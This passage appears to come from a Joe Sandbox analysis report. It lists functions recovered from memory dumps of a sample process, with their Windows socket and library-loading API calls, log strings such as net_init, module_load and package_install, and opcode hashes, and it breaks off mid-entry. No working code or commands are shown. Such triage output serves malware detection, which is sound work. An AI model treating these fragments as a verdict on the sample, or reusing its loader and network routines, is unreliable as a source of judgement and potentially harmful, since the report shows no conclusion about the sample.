API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: 5924ac5f7febb98cc3b4509505359a6d1b94a50e864779fcb44e8b3ea3085f99
Instruction ID: 20d984077ef3eb03a3a6079a1c0af6bafcdd2890f8a2787845fe3d5738dc759c
Opcode Fuzzy Hash: 5924ac5f7febb98cc3b4509505359a6d1b94a50e864779fcb44e8b3ea3085f99
Instruction Fuzzy Hash: 1F11A350ECC51741FA14A7ACAD802781358AF407F4FA01331DF3DABAE5DE1CA946D300

Function 00007FF8BFB820EA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8BFB82112
WSAGetLastError.WS2_32 ref: 00007FF8BFB8212C

Strings

[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB8214D
tcp_recv, xrefs: 00007FF8BFB82146, 00007FF8BFB8215E, 00007FF8BFB82183
[D] (%s) -> Disconnected(sock=0x%llx), xrefs: 00007FF8BFB82165
[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d), xrefs: 00007FF8BFB8218A

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastrecv
String ID: [D] (%s) -> Disconnected(sock=0x%llx)$[E] (%s) -> Invalid arguments(sock=0x%llx,p=0x%p,l=%d)$[E] (%s) -> recv failed(sock=0x%llx,WSAgle=%d)$tcp_recv
API String ID: 2514157807-65069805
Opcode ID: 7da5c75f58549cb25f1cac0269867dfb19bddbe817eba6ea8d5b83fe769abe86
Instruction ID: 733571e87d911fb63e6a8d039384a8577a09b5653d95f4aebb2b4d5b36266879
Opcode Fuzzy Hash: 7da5c75f58549cb25f1cac0269867dfb19bddbe817eba6ea8d5b83fe769abe86
Instruction Fuzzy Hash: 94110D50A0C51BC1F925A7ADEC406B42751AF857E4F619331EB2D9AAE6DE1CA546C300

Function 00007FF6BE031694 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,service,000002234F5413D0,00007FF6BE039404), ref: 00007FF6BE0316A2

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

GetLastError.KERNEL32(?,?,service,000002234F5413D0,00007FF6BE039404), ref: 00007FF6BE0316CE

Strings

service, xrefs: 00007FF6BE031695
module_load, xrefs: 00007FF6BE0316B6, 00007FF6BE0316DA
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF6BE0316E1
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF6BE0316BD

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load$service
API String ID: 4085810780-4145076245
Opcode ID: 1a562aef5cc623c6b3c41f53663e287007a7854ec2e1844506a1c76ec2df1022
Instruction ID: 55df885a54286c5a676c48a863fdd030cf9eed3c66ce72c2b590972b31cf19d7
Opcode Fuzzy Hash: 1a562aef5cc623c6b3c41f53663e287007a7854ec2e1844506a1c76ec2df1022
Instruction Fuzzy Hash: 2DF0BE10F4A60741ED20A79EAA508B42670AF3CBC0F880033FF0DA6356ED2CA5A6C300

Function 00007FF8BA4F2DDE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8BA4F2DF0

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

Strings

[I] (%s) -> %s, xrefs: 00007FF8BA4F2E08
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BA4F2E44
Done, xrefs: 00007FF8BA4F2DFA
net_init, xrefs: 00007FF8BA4F2E01, 00007FF8BA4F2E25
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8BA4F2E2F

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: 9adf5fa366108badb66f3825d14c001fe3316979c7670eb6608d00b3c87b209d
Instruction ID: f2e504a9af7b1f45e7f43f27f5a04f7fda0403907d79d3095dff79d8e551c65d
Opcode Fuzzy Hash: 9adf5fa366108badb66f3825d14c001fe3316979c7670eb6608d00b3c87b209d
Instruction Fuzzy Hash: 88F06D71B0C402D1FB219B9CEC843F52310AF163D4F8415B6DF0D461A6EF5EE6498300

Function 00007FF8B9152DDE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8B9152DF0

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

Done, xrefs: 00007FF8B9152DFA
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8B9152E2F
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9152E44
[I] (%s) -> %s, xrefs: 00007FF8B9152E08
net_init, xrefs: 00007FF8B9152E01, 00007FF8B9152E25

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: 91b5b12ed51ae55352934baa0b39f4641da89fbc1b278aeeed348b83f169e717
Instruction ID: c19971c05cbf812be55a9f138efdf6a74e98d668463b3de981aef0ba04bf7787
Opcode Fuzzy Hash: 91b5b12ed51ae55352934baa0b39f4641da89fbc1b278aeeed348b83f169e717
Instruction Fuzzy Hash: 56F09061F0848391FB139F1CE9403F52311AF143C8F458432DA8D961D6EE5DF548E700

Function 00007FF8B918595E Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8B9185970

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8B91859AF
[I] (%s) -> %s, xrefs: 00007FF8B9185988
net_init, xrefs: 00007FF8B9185981, 00007FF8B91859A5
Done, xrefs: 00007FF8B918597A
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B91859C4

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: a26de81fc8445dc42c5ba4472ba58619277b91e3ccb05bf8742dbed8f743adb0
Instruction ID: 63214778dc4ae82594cbb90f9f7f2f58423604ba7d17166605554c248d60c0b4
Opcode Fuzzy Hash: a26de81fc8445dc42c5ba4472ba58619277b91e3ccb05bf8742dbed8f743adb0
Instruction Fuzzy Hash: 21F01D62F1848391FB15DF1DE8857F56312EF107C4F858872DA0D866A6FE2CE54AB300

Function 00007FF8BFB52F1E Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8BFB52F30

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

Done, xrefs: 00007FF8BFB52F3A
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB52F84
[I] (%s) -> %s, xrefs: 00007FF8BFB52F48
net_init, xrefs: 00007FF8BFB52F41, 00007FF8BFB52F65
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8BFB52F6F

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: b8168152bed2fe7015a620b0f98054066fbf806d0659ad2a0f81c7eb32b1367f
Instruction ID: f0ea31f1393bbd3c6069edb4790f1a16193920fb1262d7ac86831144697b9986
Opcode Fuzzy Hash: b8168152bed2fe7015a620b0f98054066fbf806d0659ad2a0f81c7eb32b1367f
Instruction Fuzzy Hash: 78F01D64B09647A2FF109BA8F8547F8B310EF283C4F480032DA0D46A96EE2CF5998740

Function 00007FF8BFB31FCE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8BFB31FE0

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

Strings

Done, xrefs: 00007FF8BFB31FEA
net_init, xrefs: 00007FF8BFB31FF1, 00007FF8BFB32015
[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8BFB3201F
[I] (%s) -> %s, xrefs: 00007FF8BFB31FF8
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB32034

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: 55581a1a9876ac671bbe8439d1a613f18c012bce2b1d742a23fc00ce54db1969
Instruction ID: 4edcf4329ae0c1f1ff12667111124a2face968f4debc2e174b5126f05e16bd82
Opcode Fuzzy Hash: 55581a1a9876ac671bbe8439d1a613f18c012bce2b1d742a23fc00ce54db1969
Instruction Fuzzy Hash: 81F0B4A0B8D50791FF109BDCE9013F42354AF107C0F844032CB0D4A5A6EE2DE548E701

Function 00007FF8BFB824AE Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 26networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 00007FF8BFB824C0

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> WSAStartup failed(ret=%d), xrefs: 00007FF8BFB824FF
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB82514
Done, xrefs: 00007FF8BFB824CA
net_init, xrefs: 00007FF8BFB824D1, 00007FF8BFB824F5
[I] (%s) -> %s, xrefs: 00007FF8BFB824D8

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Startupfflushfwrite
String ID: Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> WSAStartup failed(ret=%d)$[I] (%s) -> %s$net_init
API String ID: 3771387389-898331216
Opcode ID: 6874982133632a7ce170ad8de51c3a9715c6612822ec66ea62388de5787a52fb
Instruction ID: f6bb3900cc5fa06af7d005c086b550636cc520a7a578f6d5ee7aeefdd211cabe
Opcode Fuzzy Hash: 6874982133632a7ce170ad8de51c3a9715c6612822ec66ea62388de5787a52fb
Instruction Fuzzy Hash: 87F03A60B0A507D5FB14ABDCE8447F46351AF903C4F44C432DB0D8A6ABEE1CE649C310

Function 00007FF8BFB83AFD Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 127sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00007FF8BFB83B30
Sleep.KERNEL32 ref: 00007FF8BFB83BAC

Strings

/, xrefs: 00007FF8BFB83C8F
[W] (%s) -> Not a valid packet received(size=%u,suid=%llx), xrefs: 00007FF8BFB83C61
[W] (%s) -> Not a valid event received(size=%u,suid=%llx,packed_event_sz=%u,event_sz=%u), xrefs: 00007FF8BFB83C2F
routine_rx, xrefs: 00007FF8BFB83C28, 00007FF8BFB83C5A

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Sleep
String ID: /$[W] (%s) -> Not a valid event received(size=%u,suid=%llx,packed_event_sz=%u,event_sz=%u)$[W] (%s) -> Not a valid packet received(size=%u,suid=%llx)$routine_rx
API String ID: 3472027048-1600310168
Opcode ID: c53c2ae821d90da87844032103b56b71391d742219771a0656b4b1393a371080
Instruction ID: aeeecdef5614607cbd047c1b8e56cd6fa7201cb0db8a5aaa538225dac1b71d08
Opcode Fuzzy Hash: c53c2ae821d90da87844032103b56b71391d742219771a0656b4b1393a371080
Instruction Fuzzy Hash: 4B515F66E0D64385FA609B9CE8803B96391EFC43E4F588231D7AD466D6DF2CE855C700

Function 00007FF6BE03836F Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BE031360: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF6BE0384AF), ref: 00007FF6BE03137E

_mbscpy.MSVCRT ref: 00007FF6BE0383DC

Part of subcall function 00007FF6BE03824D: strlen.MSVCRT ref: 00007FF6BE038258
Part of subcall function 00007FF6BE03824D: strlen.MSVCRT ref: 00007FF6BE038274
Part of subcall function 00007FF6BE03824D: strlen.MSVCRT ref: 00007FF6BE038280

Strings

service, xrefs: 00007FF6BE038370
package_install, xrefs: 00007FF6BE03840E, 00007FF6BE03847E
[I] (%s) -> Done(pkg_path=%s,tgt_path=%s), xrefs: 00007FF6BE038485
[E] (%s) -> Failed(pkg_path=%s,tgt_path=%s,err=%08x), xrefs: 00007FF6BE038415

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen$HandleModule_mbscpy
String ID: [E] (%s) -> Failed(pkg_path=%s,tgt_path=%s,err=%08x)$[I] (%s) -> Done(pkg_path=%s,tgt_path=%s)$package_install$service
API String ID: 3656010895-1379287937
Opcode ID: 4b1288cd24698f13a6b3948ac59b53d7aab4a4e5bdf7d96b3b3cf1ccf810a908
Instruction ID: 6933cbc51d3ba47562ae8e96c136b8df764b53078fc9b83f94a52159076a6f1b
Opcode Fuzzy Hash: 4b1288cd24698f13a6b3948ac59b53d7aab4a4e5bdf7d96b3b3cf1ccf810a908
Instruction Fuzzy Hash: 63317532A0CA8791EB319B58E8807EA6361EBAC344F901532F74DCB6D9DE7DD519C740

Function 00007FF6BE031613 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,000002234F5413D0,?,00007FF6BE03941F), ref: 00007FF6BE031633

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

GetLastError.KERNEL32(?,?,00000000,000002234F5413D0,?,00007FF6BE03941F), ref: 00007FF6BE031666

Strings

[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF6BE03167D
module_get_proc, xrefs: 00007FF6BE03164C, 00007FF6BE031676
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF6BE031653

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 0ad8ead994b4c2e9daff84b653723ad2f9de5381132992f99bfddf63ec3bb5bb
Instruction ID: 6ba57a1e0a44dd4f6c9bcd843d7dc9de91120ac5fd7b19198d3a11902da39a29
Opcode Fuzzy Hash: 0ad8ead994b4c2e9daff84b653723ad2f9de5381132992f99bfddf63ec3bb5bb
Instruction Fuzzy Hash: 99F08691A0D60742FA61974DAA009A96232AF7CBC4F584133EE4D9B799EE2CD6668300

Function 00007FF8BA4F9F73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8BA4F9F93

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

GetLastError.KERNEL32 ref: 00007FF8BA4F9FC6

Strings

module_get_proc, xrefs: 00007FF8BA4F9FAC, 00007FF8BA4F9FD6
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8BA4F9FDD
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8BA4F9FB3

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: c036b7072d391179714a13b79d8b8b11ab5854fb510460520e8d13921a022d51
Instruction ID: 85d1c0114c475c3cb7f91fca44d1a9487cedd14a7f907dcaa8527677fa88f005
Opcode Fuzzy Hash: c036b7072d391179714a13b79d8b8b11ab5854fb510460520e8d13921a022d51
Instruction Fuzzy Hash: BDF08150B0DA0392FA215B9DBC405B96755BF05BC0F489175DF4D0B7A9EF2DE7468310

Function 00007FF8B915CF13 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8B915CF33

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

GetLastError.KERNEL32 ref: 00007FF8B915CF66

Strings

[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8B915CF7D
module_get_proc, xrefs: 00007FF8B915CF4C, 00007FF8B915CF76
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8B915CF53

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 8500f81bbe417212a047b71eb08b57ae0d8934d82496b1388f00adba82d6eef3
Instruction ID: a0d3e14684ce60c442c6588e1570c75b32d2bee1be4b590268df4a59fd05547b
